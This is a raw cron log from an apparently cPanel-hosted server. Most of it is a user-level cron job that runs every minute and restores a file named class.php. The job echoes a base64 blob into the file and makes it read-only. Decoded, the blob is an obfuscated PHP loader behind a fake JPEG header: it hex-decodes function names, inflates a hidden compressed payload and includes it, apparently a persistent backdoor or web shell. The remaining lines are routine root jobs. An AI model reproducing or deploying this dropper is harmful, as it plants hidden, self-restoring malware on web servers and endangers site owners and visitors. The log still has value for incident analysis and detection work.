Nov 12 07:32:01 server CROND[19837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:33:01 server CROND[20682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:34:01 server CROND[21470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:35:01 server CROND[22291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:35:01 server CROND[22296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 07:35:01 server CROND[22297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:35:01 server CROND[22299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:35:01 server CROND[22302]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 07:36:02 server CROND[23207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:37:01 server CROND[24122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:38:01 server CROND[24949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:39:01 server CROND[25769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:39:01 server CROND[25770]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 07:40:01 server CROND[26590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:40:01 server CROND[26592]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 07:40:01 server CROND[26593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:40:01 server CROND[26594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:41:01 server CROND[27427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:42:01 server CROND[28331]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:42:01 server CROND[28332]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 07:43:01 server CROND[29148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:44:01 server CROND[29987]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:45:01 server CROND[30724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
